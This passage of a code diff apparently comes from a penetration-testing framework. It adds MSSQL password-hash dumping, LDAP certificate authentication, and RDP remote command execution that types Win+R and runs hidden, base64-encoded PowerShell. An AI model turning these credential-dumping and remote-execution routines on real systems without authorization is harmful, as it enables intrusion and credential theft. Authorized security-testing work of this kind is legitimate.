self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
@@ -458,21 +458,42 @@ class ldap(connection):
hash_asreproast.write(f"{hash_tgt}\n")
return False
cert_options = {}
cert_tmp_file = None
if self.args.schannel:
try:
cert_options, cert_tmp_file = certificate_options(self.args)
except (OSError, ValueError) as e:
self.logger.fail(f"Failed to load the certificate material: {e}")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
authentication_choice = "external" if self.args.schannel else self.auth_choice
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
# Prepare success credential text
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if self.args.schannel:
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
self.check_if_admin()
# A certificate bind has no secret to store, the account comes from the certificate mapping
if not self.args.schannel:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -480,6 +501,13 @@ class ldap(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
if self.args.schannel:
# The error mapping below reads NTLM status codes, which a certificate bind never returns
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
else:
self.logger.fail(f"Schannel authentication failed: {e}")
return False
if str(e).find("strongerAuthRequired") >= 0:
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
if self.args.simple_bind:
@@ -493,7 +521,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
@@ -524,6 +552,9 @@ class ldap(connection):
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
finally:
if cert_tmp_file and os.path.exists(cert_tmp_file):
os.remove(cert_tmp_file)
def hash_login(self, domain, username, ntlm_hash):
self.logger.extra["protocol"] = "LDAP"
@@ -560,7 +591,7 @@ class ldap(connection):
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -586,7 +617,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -629,7 +660,7 @@ class ldap(connection):
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
resp_parsed = parse_result_attributes(resp)
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
for item in resp_parsed:
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
@@ -938,8 +969,7 @@ class ldap(connection):
resp_parse = parse_result_attributes(resp)
for item in resp_parse:
if "dNSHostName" in item: # Get dNSHostName attribute
name = item["dNSHostName"]
resolve_and_display_hostname(name)
resolve_and_display_hostname(item["dNSHostName"])
# Find all trusted domains
self.logger.info("Enumerating Trusted Domains...")
@@ -1223,22 +1253,21 @@ class ldap(connection):
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
resp_parsed = parse_result_attributes(resp)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for idx, entry in enumerate(resp_parsed):
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
idx += 1 # Skip non-entry responses
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
for attribute in entry:
if isinstance(entry[attribute], list) and entry[attribute]:
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
self.logger.success(f"Response for object: {entry['objectName']}")
for attribute, value in attribute_map.items():
if isinstance(value, list) and value:
# Display first item in the same line as attribute
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
for item in entry[attribute]:
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
for item in value:
self.logger.highlight(f"{'':<20} {item}")
else:
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
self.logger.highlight(f"{attribute:<20} {value}")
def find_delegation(self):
def printTable(items, header):
+1
View File
@@ -10,6 +10,7 @@ def proto_args(parser, parents):
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
+4
View File
@@ -5,6 +5,7 @@ from OpenSSL.SSL import SysCallError
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import sanitize_dns
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.logger import nxc_logger
@@ -18,6 +19,7 @@ class LDAPResolution:
target = ""
target_domain = ""
base_dn = ""
machine_name = ""
try:
ldap_url = f"ldap://{self.host}"
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
@@ -60,5 +62,7 @@ class LDAPResolution:
else:
nxc_logger.error(f"Error getting ldap info {e}")
machine_name = sanitize_dns(machine_name, nxc_logger)
target_domain = sanitize_dns(target_domain, nxc_logger)
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
return machine_name, target_domain
+82 -3
View File
@@ -7,7 +7,7 @@ from termcolor import colored
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.connection import requires_admin
from nxc.helpers.misc import gen_random_string
from nxc.helpers.misc import gen_random_string, sanitize_dns
from nxc.logger import NXCAdapter
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
@@ -155,8 +155,11 @@ class mssql(connection):
else:
if challenge.startswith(b"NTLMSSP\x00"):
ntlm_info = parse_challenge(challenge)
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -317,6 +320,7 @@ class mssql(connection):
self.logger.fail(self.conn.lastError)
else:
for data in raw_output:
self.logger.highlight("--------------------")
for key, value in data.items():
if key:
self.logger.highlight(f"{key}:{value}")
@@ -671,3 +675,78 @@ class mssql(connection):
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
@requires_admin
def db_hash(self):
self.logger.display("Dumping local database users' hashes")
query = """
SELECT
sp.name,
CASE
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
ELSE 'Unknown'
END AS hash_type,
sl.password_hash
FROM sys.server_principals sp
INNER JOIN sys.sql_logins sl
ON sp.principal_id = sl.principal_id
WHERE sp.type = 'S' -- uniquement les logins SQL
AND sp.name NOT LIKE '##%'
ORDER BY sp.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
return
if not rows:
self.logger.fail("No logins returned")
return
else:
self.logger.display("Enumerated logins")
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
for row in rows:
name = row.get("name")
hash_type = row.get("hash_type")
password_hash = row.get("password_hash")
if password_hash != "NULL":
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
def list_backups(self):
self.logger.info("Dumping database backups")
query = """
SELECT
bs.database_name,
bs.server_name,
bmf.physical_device_name AS backup_file_path,
CASE
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
ELSE 'Encrypted'
END AS backup_encryption_status,
bs.encryptor_type,
bs.key_algorithm
FROM msdb.dbo.backupset AS bs
INNER JOIN msdb.dbo.backupmediafamily AS bmf
ON bs.media_set_id = bmf.media_set_id
INNER JOIN sys.databases AS d
ON bs.database_name = d.name
ORDER BY bs.backup_finish_date DESC;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
return
if not rows:
self.logger.fail("No backups returned")
return
else:
self.logger.display("Enumerated backups")
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
for row in rows:
database_name = row.get("database_name").strip()
is_encrypted = row.get("backup_encryption_status").strip()
backup_file_path = row.get("backup_file_path").strip()
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
+2
View File
@@ -19,6 +19,7 @@ def proto_args(parser, parents):
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
cgroup = mssql_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
@@ -39,4 +40,5 @@ def proto_args(parser, parents):
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
return parser
+364 -169
View File
@@ -1,19 +1,25 @@
import asyncio
import base64
import copy
import contextlib
from datetime import datetime
from os import getenv
from uuid import uuid4
from anyio import Path
from termcolor import colored
from impacket.krb5.ccache import CCache
from impacket.smb3 import WIN_VERSIONS
from nxc.connection import connection
from nxc.helpers.misc import sanitize_dns
from nxc.helpers.path import sanitize_path_component
from nxc.helpers.bloodhound import add_user_bh
from nxc.logger import NXCAdapter
from nxc.config import host_info_colors, process_secret
from nxc.paths import NXC_PATH
from aardwolf.connection import RDPConnection
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
from aardwolf.commons.iosettings import RDPIOSettings
@@ -114,19 +120,28 @@ class rdp(connection):
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def _create_rdp_connection(self, credentials, supported_protocols=None):
iosettings = self.iosettings.clone_for_connection()
# Explicit protocols are used by discovery and screenshot fallbacks.
# Authenticated connections leave this unset so aardwolf selects the
# X224 flags appropriate for the credential type.
iosettings.supported_protocols = supported_protocols
return RDPConnection(
iosettings=iosettings,
target=copy.deepcopy(self.target),
credentials=copy.deepcopy(credentials),
)
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
asyncio.run(self.check_nla())
for proto in reversed(self.protoflags):
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(
iosettings=self.iosettings,
target=self.target,
credentials=self.auth,
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
asyncio.run(self.connect_rdp_with_cleanup())
except OSError as e:
@@ -141,9 +156,9 @@ class rdp(connection):
except Exception:
pass
else:
self.domain = info_domain["dnsdomainname"]
self.hostname = info_domain["computername"]
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
self.server_os = self.guess_os(info_domain)
self.logger.extra["hostname"] = self.hostname
break
@@ -166,18 +181,27 @@ class rdp(connection):
domain=self.domain,
dc_ip=self.domain,
timeout=self.args.rdp_timeout,
unsafe_ssl=True,
)
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
self.iosettings.supported_protocols = None
return True
def guess_os(self, info_domain):
build = info_domain.get("os_build")
if build in WIN_VERSIONS:
return f"{WIN_VERSIONS[build]} Build {build}"
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
return f"Windows 10.0 Build {build}"
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
async def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
try:
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
self.conn = RDPConnection(
iosettings=self.iosettings,
target=self.target,
credentials=None,
self.conn = self._create_rdp_connection(
None, supported_protocols=SUPP_PROTOCOLS.SSL
)
packetizer = TPKTPacketizer()
client = UniClient(self.target, packetizer)
@@ -191,17 +215,17 @@ class rdp(connection):
except Exception:
pass
async def connect_rdp(self):
async def connect_rdp(self, auth_only=False):
"""Connect to the RDP server. Does NOT clean up on exit.
Use this when the caller needs the connection alive after connecting
(screen, nla_screen, execute_shell). For sync callers that only need to
know whether authentication succeeded and want guaranteed cleanup, use
connect_rdp_with_cleanup() instead.
When auth_only is True, performs only CredSSP/NLA authentication
without establishing a full RDP session. This verifies credentials
without creating a disconnected session on single-session hosts.
"""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
if err is not None:
raise err
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
@@ -209,13 +233,37 @@ class rdp(connection):
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
async def connect_rdp_with_cleanup(self):
async def connect_rdp_with_cleanup(self, auth_only=False):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
await self.connect_rdp()
await self.connect_rdp(auth_only=auth_only)
finally:
await self.terminate_conn()
async def login_and_confirm(self):
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
That PDU never comes when access is authorized but the logon is refused (restricted admin).
"""
try:
await self.connect_rdp()
try:
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
finally:
await self.terminate_conn()
def rdp_access_denied(self):
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
"""
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
lmhash = ""
@@ -232,8 +280,6 @@ class rdp(connection):
if nthash:
self.nthash = nthash
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
self.hostname + "." + self.domain
password = password if password else nthash
@@ -247,8 +293,14 @@ class rdp(connection):
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
elif aesKey:
stype = asyauthSecret.AES
password = aesKey
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
password = password if password else nthash
kerb_pass = password
kerberos_target = UniTarget(
self.kdcHost,
@@ -268,10 +320,22 @@ class rdp(connection):
domain=domain,
stype=stype,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(
"{}\\{}{} {}".format(
domain,
@@ -299,8 +363,11 @@ class rdp(connection):
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
)
elif "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
elif self.rdp_access_denied():
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
elif "No such file" in str(e):
self.logger.fail(e)
else:
@@ -316,6 +383,10 @@ class rdp(connection):
)
return False
def _execution_pending(self):
"""Check if command execution will follow authentication."""
return bool(self.args.execute or self.args.ps_execute)
def plaintext_login(self, domain, username, password):
try:
self.auth = NTLMCredential(
@@ -324,10 +395,22 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
@@ -335,8 +418,11 @@ class rdp(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if self.rdp_access_denied():
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
else:
reason = None
for word in self.rdp_error_status:
@@ -358,10 +444,22 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
@@ -369,8 +467,11 @@ class rdp(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if self.rdp_access_denied():
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
else:
reason = None
for word in self.rdp_error_status:
@@ -388,10 +489,11 @@ class rdp(connection):
async def _send_keystrokes(self, text, delay=0.02):
"""Helper method to send keystrokes to the RDP session"""
for char in text:
key_event = RDP_KEYBOARD_UNICODE()
key_event.char = char
key_event.is_pressed = True
await self.conn.ext_in_queue.put(key_event)
for is_pressed in (True, False):
key_event = RDP_KEYBOARD_UNICODE()
key_event.char = char
key_event.is_pressed = is_pressed
await self.conn.ext_in_queue.put(key_event)
await asyncio.sleep(delay)
async def _send_enter(self):
@@ -400,144 +502,241 @@ class rdp(connection):
await asyncio.sleep(0.05)
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
async def _send_shortcut(self, modifier, key):
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
modifier_scancode = layout.vk_to_scancode(modifier)
key_scancode = layout.char_to_scancode(key)[0]
await self.conn.send_key_scancode(modifier_scancode, True, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(key_scancode, True, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(key_scancode, False, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(modifier_scancode, False, False)
async def _send_win_r(self):
"""Helper method to send Windows+R key combination to open Run dialog"""
self.logger.debug("Sending Win+R using scancode method")
for _ in range(2):
_, err = await self.conn.send_focus_in()
if err is not None:
raise err
await self._send_shortcut("VK_LWIN", "r")
await asyncio.sleep(0.5)
@staticmethod
def _build_execution_command(payload, shell_type, marker, get_output):
if not get_output:
if shell_type == "cmd":
return f"cmd.exe /d /s /c {payload}"
if shell_type == "powershell":
return (
"powershell.exe -NoLogo -NoProfile -NonInteractive "
f"-WindowStyle Hidden -Command {payload}"
)
raise ValueError(f"Unsupported shell type: {shell_type}")
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
if shell_type == "cmd":
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
elif shell_type == "powershell":
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
else:
raise ValueError(f"Unsupported shell type: {shell_type}")
start_marker = f"__NXC_RDP_START_{marker}__"
end_marker = f"__NXC_RDP_END_{marker}__"
script = f"""
$ErrorActionPreference = 'Continue'
{decode_payload}
try {{
{invoke_command}
$succeeded = $?
$nativeExitCode = $LASTEXITCODE
}} catch {{
$output = $_
$succeeded = $false
$nativeExitCode = $null
}}
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
$outputText = ($output | Out-String -Width 4096).TrimEnd()
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Clipboard]::SetText($result)
"""
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
@staticmethod
def _parse_execution_result(clipboard_text, marker):
start_marker = f"__NXC_RDP_START_{marker}__"
end_marker = f"__NXC_RDP_END_{marker}__"
normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
start_index = normalized.find(start_marker)
end_index = normalized.find(end_marker, start_index + len(start_marker))
if start_index == -1 or end_index == -1:
return None
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
exit_code_text, separator, output = body.partition("\n")
if not separator:
return None
try:
self.logger.debug("Sending Win+R using scancode method")
exit_code = int(exit_code_text.strip())
except ValueError:
return None
return exit_code, output.rstrip("\n")
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
async def _wait_for_event(self, event_names, max_wait):
loop = asyncio.get_running_loop()
deadline = loop.time() + max_wait
win_scancode = layout.vk_to_scancode("VK_LWIN")
await self.conn.send_key_scancode(win_scancode, True, False)
await asyncio.sleep(0.1)
while True:
if self.conn.disconnected_evt.is_set():
raise ConnectionError("RDP connection was terminated")
r_scancode = layout.char_to_scancode("r")[0]
await self.conn.send_key_scancode(r_scancode, True, False)
await asyncio.sleep(0.1)
remaining = deadline - loop.time()
if remaining <= 0:
raise TimeoutError
await self.conn.send_key_scancode(r_scancode, False, False)
await asyncio.sleep(0.1)
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
if data is None:
raise ConnectionError("RDP connection was terminated")
await self.conn.send_key_scancode(win_scancode, False, False)
event_name = getattr(getattr(data, "type", None), "name", None)
if event_name in event_names:
return data
await asyncio.sleep(0.5)
async def _wait_for_desktop(self):
loop = asyncio.get_running_loop()
started_at = loop.time()
self.logger.debug("Win+R sent successfully")
return True
